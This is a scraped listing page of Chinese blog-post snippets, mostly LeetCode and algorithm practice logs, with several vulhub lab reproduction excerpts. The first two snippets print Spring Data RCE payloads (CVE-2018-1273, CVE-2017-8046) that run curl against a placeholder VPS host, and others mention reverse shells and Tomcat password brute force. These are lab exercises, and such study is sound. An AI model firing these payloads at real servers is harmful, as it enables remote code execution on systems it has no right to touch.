vulhub刷题记录

【vulhub】Spring Data Rest 远程命令执行漏洞 （CVE-2018-1273）

**一、启动靶机**docker-composeup-d**二、复现**URL：http://192.168.150.143:8080/users**三、发送Payload**payload：username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curlhttp://vps主机_IP/Hacker")]=
Crazy_Yu8·2023-04-11 21:57

【vulhub】Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

一、启动靶机docker-composeup-d二、生成payloadcurlhttp://xx.xx.xx.xx/Hacker将执行的命令转换十进制99,117,114,108,32,104,116,116,112,58,47,47,120,120,46,120,120,46,120,120,46,120,120,47,72,97,99,107,101,114payload：PATCH/cust
Crazy_Yu8·2023-04-11 21:57

vulhub中Spring之Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）

vulhub中Spring之SpringDataCommons远程命令执行漏洞（CVE-2018-1273）漏洞复现漏洞说明漏洞利用条件和方式漏洞检测环境搭建漏洞复现漏洞修复漏洞复现漏洞说明CVE-2018
德古拉的杂货铺·2023-04-11 21:26

【vulhub】Spring Data Rest 远程命令执行漏洞（CVE-2017-8046）漏洞复现验证和getshell。

漏洞详情SpringDataREST是一个构建在SpringData之上，为了帮助开发者更加容易地开发REST风格的Web服务。在RESTAPI的Patch方法中（实现RFC6902），path的值被传入setValue，导致执行了SpEL表达式，触发远程命令执行漏洞。参考链接：http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服务器PATCH请
樱浅沐冰·2023-04-11 21:53

【Linux搭建docker】

docker搭建闲来无聊想玩一玩vulhub上面的靶场，所以在Linux上装个docker方便以后自己本机上复现一些漏洞，如下以centos为例。
韧雨之弥·2023-04-11 20:29

每日刷题记录（十三）

目录第一题：走方格的方案数解题思路：代码实现：第二题：井字棋解题思路：代码实现：第三题：密码强度等级解题思路：代码实现：第四题：最近公共祖先解题思路：代码实现：第五题：求最大连续bit数解题思路：代码实现：第一题：走方格的方案数描述请计算n*m的棋盘格子（n为横向的格子数，m为竖向的格子数）从棋盘左上角出发沿着边缘线从左上角走到右下角，总共有多少种走法，要求不能走回头路，即：只能往右和往下走，不能
ZIYE_190·2023-04-11 17:43

刷题记录|Day55● 392.判断子序列 ● 115.不同的子序列

●392.判断子序列题目描述给定字符串s和t，判断s是否为t的子序列。字符串的一个子序列是原始字符串删除一些（也可以不删除）字符而不改变剩余字符相对位置形成的新字符串。（例如，"ace"是"abcde"的一个子序列，而"aec"不是）。进阶：如果有大量输入的S，称作S1,S2,…,Sk其中k>=10亿，你需要依次检查它们是否为T的子序列。在这种情况下，你会怎样改变代码？致谢：特别感谢@pbroth
null_one·2023-04-11 17:04

牛客网-剑指Offer刷题记录

emmm赶在初一这天晚上终于把剑指Offer刷了一遍了，记录一下Coding的代码，希望接下来找工作顺利，上天保佑我；牛客网剑指Offer67题剑指Offer题记JZ1//从左上角开始找publicclassSolution{publicintJumpFloorII(inttarget){if(target==1||target==0)return1;int[]res=newint[target+
hellohake·2023-04-11 01:56

vulhub漏洞复现-Apache APISIX 默认密钥漏洞（CVE-2020-13945）

APISIX简介ApacheAPISIX是一个高性能API网关。API网关，软件术语，两个相互独立的局域网之间通过路由器进行通信，中间的路由被称之为网关。任何一个应用系统如果需要被其他系统调用，就需要暴露API，这些API代表着一个一个的功能点。如果两个系统中间通信，在系统之间加上一个中介者协助API的调用，这个中介者就是API网关。那意思就是Apisix是两个系统的一个中介，可以使用这个中间管理
浪久1·2023-04-10 23:46

[ vulhub漏洞复现篇 ] Apache APISIX 默认密钥漏洞 CVE-2020-13945

博主介绍‍博主介绍：大家好，我是_PowerShell，很高兴认识大家~✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！文章目录博主介绍一、漏洞编号二、影响范围三、漏洞描述四、指纹信息五、环境搭建1、进入CVE-2020-13945环境2、启
_PowerShell·2023-04-10 22:42

Apache APISIX 默认密钥漏洞（CVE-2020-13945）

Vulhub——ApacheAPISIX默认密钥漏洞（CVE-2020-13945）文章目录Vulhub——ApacheAPISIX默认密钥漏洞（CVE-2020-13945）APISIX简介漏洞复现payload
horisMMM·2023-04-10 22:39

【剑指Offer】个人学习笔记_61_扑克牌中的顺子

bu-ke-pai-zhong-de-shun-zi-lcof/)题目分析初始解答：学习他人：方法一:方法二：方法三：方法四：方法五：方法一：集合Set+遍历方法二：排序+遍历总结刷题日期：下午8:332021年5月25日星期二个人刷题记录
JonnySu·2023-04-10 16:42

[HackerRank] [haskell]刷题记录

Haskell功力太弱了，刷一下HackerRank上面的Haskell题目(同时在读Haskell函数式编程入门第二版)，都记录在这个博客里面。链接目标：满分文章目录EasyListReplicationFilterArrayFilterPositionsinaListArrayOfNElementsReverseaListLambdaCalculus-Reductions#1LambdaCal
SakamataZ·2023-04-10 10:34

每日刷题记录（十二）

目录第一题：Fibonacci数列解题思路：代码实现：第二题：合法括号序列判断解题思路：代码实现：第三题：求最小公倍数解题思路：代码实现：第四题：两种排序方法解题思路：代码实现：第五题：另类加法解题思路：代码实现：第一题：Fibonacci数列描述Fibonacci数列是这样定义的：F[0]=0F[1]=1foreachi≥2:F[i]=F[i-1]+F[i-2]因此，Fibonacci数列就形如
ZIYE_190·2023-04-10 07:27

力扣-leetcode刷题记录/两数之和-两数相加-python3

文章目录1两数之和2.两数相加1两数之和给定一个整数数组nums和一个目标值target，请你在该数组中找出和为目标值的那两个整数，并返回他们的数组下标。要求：假设每种输入只会对应一个答案。但是，数组中同一个元素不能使用两遍。实例：给定nums=[2,7,11,15],target=9因为nums[0]+nums[1]=2+7=9所以返回[0,1]解决办法:首先想到的是两个for循环，直接暴力查找
fan__lee·2023-04-09 12:51

数据结构习题解析与实验指导-严蔚敏数据结构-第二章：线性表（刷题记录）

目录第二章：线性表（刷题记录）P[18-20]第一题：2022年4月7日星期四凌晨00：28-01：12第二题：2022年4月7日星期四凌晨10：01-10：21第三题：2022年4月7日星期四晚上23
BH04250909·2023-04-09 07:53

个人LeetCode刷题记录（带题目链接及解答）持续更新

Leetcode刷题注：~【完成】代表还有一些方法没看，最后再看一、一些需要重刷的典型题：1、快速排序，归并排序，堆排序（递归的思想）2、链表中的回文链表，其中的快慢指针，多看，多练3、链表中的奇偶链表二、注意事项写代码经常出现的错误总结归纳：1、for(;;)中的;经常写成，2、true的拼写错误3、while的离开循环条件忘写，陷入死循环4、return忘写5、不能使用关键字命名变量6、链表的
You're crazy!·2023-04-09 06:17

刷题记录|Day25 ● 216.组合总和III ● 17.电话号码的字母组合

●216.组合总和III题目描述找出所有相加之和为n的k个数的组合，且满足下列条件：只使用数字1到9每个数字最多使用一次返回所有可能的有效组合的列表。该列表不能包含相同的组合两次，组合可以以任何顺序返回。示例1:输入:k=3,n=7输出:[[1,2,4]]解释:1+2+4=7没有其他符合的组合了。示例2:输入:k=3,n=9输出:[[1,2,6],[1,3,5],[2,3,4]]解释:1+2+6=
null_one·2023-04-09 04:21

每日刷题记录（十）

目录第一题：组队竞赛解题思路：代码实现：第二题：删除公共字符解题思路：代码实现：第三题：排序子序列解题思路：代码实现：第四题：倒置字符串解题思路：代码实现：第五题：字符串中找出连续最长的数字串解题思路：代码实现：第一题：组队竞赛牛牛举办了一次编程比赛,参加比赛的有3*n个选手,每个选手都有一个水平值a_i.现在要将这些选手进行组队,一共组成n个队伍,即每个队伍3人.牛牛发现队伍的水平值等于该队伍队
ZIYE_190·2023-04-08 16:49

每日刷题记录（二）

目录第一题：删除链表中等于给定值val的所有节点解题思路：代码实现：第二题：反转单链表解题思路：代码实现：第三题：链表的中间节点解题思路：代码实现：第四题：链表中倒数第k个节点解题思路：代码实现：第五题：合并两个有序链表解题思路：代码实现：第一题：删除链表中等于给定值val的所有节点给你一个链表的头节点head和一个整数val，请你删除链表中所有满足Node.val==val的节点，并返回新的头节
ZIYE_190·2023-04-08 16:48

每日刷题记录（九）

目录第一题：宝石与石头解题思路：代码实现：第二题：只出现一次的数字解题思路：代码实现：第三题：复制带随机指针的链表解题思路：代码实现：第四题：旧键盘解题思路：代码实现：第五题：前K个高频单词解题思路：代码实现：第一题：宝石与石头给你一个字符串jewels代表石头中宝石的类型，另有一个字符串stones代表你拥有的石头。stones中每个字符代表了一种你拥有的石头的类型，你想知道你拥有的石头中有多少
ZIYE_190·2023-04-08 16:48

每日刷题记录（十一）

目录第一题：数组中出现次数超过一半的数字解题思路：代码实现：第二题：进制转换解题思路：代码实现：第三题：统计回文解题思路：代码实现：第四题：连续最大和解题思路：代码实现：第五题：不要二解题思路：代码实现：第一题：数组中出现次数超过一半的数字描述给一个长度为n的数组，数组中有一个数字出现的次数超过数组长度的一半，请找出这个数字。例如输入一个长度为9的数组[1,2,3,2,2,2,5,4,2]。由于数
ZIYE_190·2023-04-08 16:43

刷题记录|Day53 ● 1143.最长公共子序列 ● 1035.不相交的线 ● 53. 最大子序和 动态规划

刷题记录|Day53●1143.最长公共子序列●1035.不相交的线●53.最大子序和动态规划●1143.最长公共子序列题目描述给定两个字符串text1和text2，返回这两个字符串的最长公共子序列的长度
null_one·2023-04-08 13:39

刷题记录|Day48 ● 198.打家劫舍 ● 213.打家劫舍II ● 337.打家劫舍III

●198.打家劫舍题目描述你是一个专业的小偷，计划偷窃沿街的房屋。每间房内都藏有一定的现金，影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统，如果两间相邻的房屋在同一晚上被小偷闯入，系统会自动报警。给定一个代表每个房屋存放金额的非负整数数组，计算你不触动警报装置的情况下，一夜之内能够偷窃到的最高金额。示例1：输入：[1,2,3,1]输出：4解释：偷窃1号房屋(金额=1)，然后偷窃3号房
null_one·2023-04-08 13:09

刷题记录|Day49● 121. 买卖股票的最佳时机 ● 122.买卖股票的最佳时机II

●121.买卖股票的最佳时机题目描述给定一个数组prices，它的第i个元素prices[i]表示一支给定股票第i天的价格。你只能选择某一天买入这只股票，并选择在未来的某一个不同的日子卖出该股票。设计一个算法来计算你所能获取的最大利润。返回你可以从这笔交易中获取的最大利润。如果你不能获取任何利润，返回0。示例1：输入：[7,1,5,3,6,4]输出：5解释：在第2天（股票价格=1）的时候买入，在第
null_one·2023-04-08 13:09

刷题记录|Day52● 300.最长递增子序列 ● 674. 最长连续递增序列 ● 718. 最长重复子数组

●300.最长递增子序列题目描述给你一个整数数组nums，找到其中最长严格递增子序列的长度。子序列是由数组派生而来的序列，删除（或不删除）数组中的元素而不改变其余元素的顺序。例如，[3,6,2,7]是数组[0,3,1,6,2,2,7]的子序列。示例1：输入：nums=[10,9,2,5,3,7,101,18]输出：4解释：最长递增子序列是[2,3,7,101]，因此长度为4。示例2：输入：nums
null_one·2023-04-08 13:34

渗透测试集成靶场vulhub的搭建

一、dcoker环境的搭建什么是docker？Docker是一个开放源代码软件项目，让应用程序部署在软件货柜下的工作可以自动化进行，借此在Linux操作系统上，提供一个额外的软件抽象层，以及操作系统层虚拟化的自动管理机制。Docker利用Linux核心中的资源分离机制，例如cgroups，以及Linux核心名字空间，来创建独立的容器。在搭建该靶场之前，我们需要先将docker环境配置好。搭建步骤如
树火·2023-04-08 13:55

使用docker和docker-compose搭建Vulhub漏洞测试靶场

使用docker和docker-compose搭建Vulhub漏洞测试靶场1、安装Docker和docker-composedocker安装步骤docker-compose安装步骤2、下载vulhub安装完成
学海无涯、学无止境·2023-04-08 13:55

docker搭建渗透测试vulhub靶场 —— 筑梦之路

基础环境：docker-cedocker-composevulhub网站：http://vulhub.org/仓库地址：gitclonehttps://github.com/vulhub/vulhub.git
筑梦之路·2023-04-08 12:48

LeetCode23.合并k个有序链表

LeetCode刷题记录文章目录题目描述解题思路⌨C++代码题目描述给你一个链表数组，每个链表都已经按升序排列。请你将所有链表合并到一个升序链表中，返回合并后的链表。。
2021狮子歌歌·2023-04-08 09:48

LeetCode654.最大二叉树

LeetCode刷题记录文章目录题目描述解题思路⌨C++代码题目描述给定一个不重复的整数数组nums。最大二叉树可以用下面的算法从nums递归地构建:创建一个根节点，其值为nums中的最大值。
2021狮子歌歌·2023-04-08 09:44

c++/go算法模板, 刷题记录

◉一、数组912.排序数组给你一个整数数组nums，请你将该数组升序排列。示例1：输入：nums=[5,2,3,1]输出：[1,2,3,5]示例2：输入：nums=[5,1,1,2,0,0]输出：[0,0,1,1,2,5]提示：1=x{j--}(*nums)[i]=(*nums)[j]fori&nums,intstart,intend){intd1=0,d2=0;intl=min(start,en
CW96·2023-04-08 01:20

洛谷日常刷题（洛谷官方题单 思路+详解）

普及组】过河卒P1044[NOIP2003普及组]栈P1028[NOIP2001普及组]数的计算P1464FunctionP1928外星密码前言经过AcWing算法基础课的熏陶，算法正式入门，在此记录洛谷刷题记录
AC自动寄·2023-04-08 00:41

LeetCode刷题记录---动态规划（DP）算法

每次刷到动态规划算法题将在此博文更新~~~这里简单介绍下DP： 动态规划算法把待求解问题分成若干子问题，然后从这些子问题的可行解一步步递推到最优解。通常用于求解具有某种最优性质的问题。 按照网上大佬总结的，通常有如下5步： 1.确定dp数组以及下标的含义。 2.确定递推公式。 3.dp数组如何初始化。（有时候初始化非常关键） 4.确定遍历顺序。（即for循环的顺序，这个也是蛮讲究的） 5.举例推导
#苦行僧·2023-04-07 18:39

LeetCode刷题-重新排序得到2的幂

前言说明算法学习，日常刷题记录。题目连接重新排序得到2的幂题目内容给定正整数N，我们按任何顺序(包括原始顺序)将数字重新排序，注意其前导数字不能为零。
纯洁编程说·2023-04-07 08:53

【刷题记录】leetcode 剑指 Offer（第 2 版）【12-18】

文章目录剑指Offer12.矩阵中的路径剑指Offer14-I.剪绳子【DP】剑指Offer14-II.剪绳子II【贪心】剑指Offer15.二进制中1的个数剑指Offer16.数值的整数次方剑指Offer17.打印从1到最大的n位数剑指Offer18.删除链表的节点刷题地址：https://leetcode.cn/problem-list/xb9nqhhg/剑指Offer12.矩阵中的路径//d
I"ll carry you·2023-04-06 16:31

【刷题记录】leetcode 剑指 Offer（第 2 版）【03-11】

文章目录剑指Offer03.数组中重复的数字剑指Offer04.二维数组中的查找剑指Offer05.替换空格剑指Offer06.从尾到头打印链表剑指Offer07.重建二叉树剑指Offer09.用两个栈实现队列剑指Offer10-I.斐波那契数列剑指Offer10-II.青蛙跳台阶问题LCOF剑指Offer11.旋转数组的最小数字刷题地址：https://leetcode.cn/problem-l
I"ll carry you·2023-04-06 16:30

力扣刷题记录

开个坑，记录下刷题进度。刚入门小白，仅为记录不供参考文章目录一、leetcode专项突破：数据结构数据结构入门217、存在重复元素F1暴力法F2先multiset自动排序，再两位的比较F3先sort排序，再两位的比较F4哈希表53、最大子数组和F1把每种情况存在map里自动排序F2动态规划F3分治法二、数组和字符串1991、找到数组的中间位置三、代码随想录：数组1.二分查找：704.二分查找(E)
ustiniaaan·2023-04-06 14:30

LC1028还原二叉树：两种解法：「递归思想 DFS」& 「双端队列 & 迭代思想」

前言大家好，我是新人博主：「个人主页」主要分享程序员生活、编程技术、以及每日的LeetCode刷题记录，欢迎大家关注我，一起学习交流，谢谢！
Chthollists·2023-04-06 13:58

3.29-4.17刷题记录

2022.3.29一、LRU缓存淘汰算法面试题16.25.LRU缓存剑指OfferII031.最近最少使用缓存/***@param{number}capacity*/varLRUCache=function(capacity){this.capacity=capacity;this.map=newMap();};/***@param{number}key*@return{number}*/LRUC
翼遥bingo·2023-04-06 03:37

Mac系统-用Docker搭建-Vulhub漏洞靶场

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录Vulhub搭建Docker官网下载：Docker:Accelerated,ContainerizedApplicationDevelopmentDocker
问题羽·2023-04-05 22:05

leetcode 刷题记录，数组部分，代码随想录刷题顺序

看了好多攻略，打算第一遍刷题顺序跟着代码随想录：数组、链表、哈希表、字符串、双指针法、栈与队列、二叉树、回溯算法、贪心算法、动态规划、单调栈题外话：小白一枚，打算刷题提高编程能力，由于现在在公司算法部门实习，所以使用python语言，打算明年秋招之前用java或者c++再刷一遍。下面纯记录个人刷题日记及代码。两个月过去了……没刷几题，寒假回家躺平了，最近开始正式刷题了，看看能不能找到暑期实习吧，不
Iris.YY·2023-04-05 20:07

代码随想录刷题记录 day48 两个字符串的删除操作+编辑距离

代码随想录刷题记录day48两个字符串的删除操作+编辑距离583.两个字符串的删除操作思想两个元素都能删除了，还是考虑第i-1个字符和第j-1个字符是不是相同的，不相同的话考虑三种情况，删除i-1；删除
Made in Program·2023-04-05 20:04

代码随想录刷题记录 1 - 数组

记一下刷到哪了，推：代码随想录1.数组难度题目类型(空间+时间复杂度)简单704.二分查找二分查找O(logn)简单35.搜索插入位置二分查找O(logn)中等34.在排序数组中查找元素的第一个和最后一个位置二分查找O(logn)简单69.x的平方根二分答案O(logn)简单367.有效的完全平方数二分答案O(logn)简单27.移除元素循环O(n^2)双指针O(n)简单26.删除排序数组中的重复
nero_my·2023-04-05 20:00

【vulhub靶场】GoldenEye

文章目录概述环境搭建关键词信息打点两种思路：Web渗透两种思路Apache历史漏洞Tomcat弱口令Tomcat弱口令爆破前端泄露POP邮箱利用邮件钓鱼？POP3爆破命令行登陆POP邮箱绑定本地hostWeb渗透2两种思路：1、直接找关于moodle历史漏洞(尝试匹配版本进行利用)2、通过登陆前面泄露的用户进行登陆，翻一翻有用的信息MSF&反弹shell漏洞利用反弹shell什么是TTY无TTY的
今天是 几 号·2023-04-05 19:44

LeetCode刷题记录（2）

文章目录动态规划01背包背包问题[416.分割等和子集](https://leetcode-cn.com/problems/partition-equal-subset-sum/)[1049.最后一块石头的重量II](https://leetcode-cn.com/problems/last-stone-weight-ii/)[494.目标和](https://leetcode-cn.com/pr
monkeyhlj·2023-04-05 12:27

代码随想录刷题记录

数组二分查找（二分法）二分法返回什么？当i=j时，相遇点之前一定比target小，相遇点之后一定比target大。此时，只有相遇点与target大小关系未知。最终，i一定会指向第一个比target大的点，即i左边都比target小。j一定会指向第一个比target小的点，即j右边都比target大。根据题目要求返回所需数据。临界条件例如到底是while(left
小小小小菜鸡·2023-04-05 08:05

力扣刷题记录

这里写自定义目录标题一个菜鸡的力扣刷题记录数组二分查找704.二分查找035.搜索插入位置034.在排序数组中查找元素的第一个和最后一个位置移除元素有序数组的平方长度最小的子数组螺旋矩阵Ⅱ总结链表移除链表元素设计链表翻转链表两两交换链表中的节点删除链表的倒数第
SvnHappy·2023-04-05 00:35

力扣刷题记录——521. 最长特殊序列 Ⅰ、541. 反转字符串 II、557. 反转字符串中的单词 III

本专栏主要记录力扣的刷题记录，备战蓝桥杯，供复盘和优化算法使用，也希望给大家带来帮助，博主是算法小白，希望各位大佬不要见笑，今天要分享的是——《521.最长特殊序列Ⅰ、541.反转字符串II、557.反转字符串中的单词
爱睡觉的咋·2023-04-04 21:54

力扣刷题记录22.1-----541. 反转字符串 II

目录一、题目二、代码三、运行结果![在这里插入图片描述](https://img-blog.csdnimg.cn/e6f26193faf2423fbfa67f7b88018b32.png)一、题目二、代码classSolution{public:stringreverseStr(strings,intk){std::coutk)reverse(it_over_end,it_over_end+k);
@白圭·2023-04-04 21:11
上一页 19 20 21 22 23 24 25 26 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他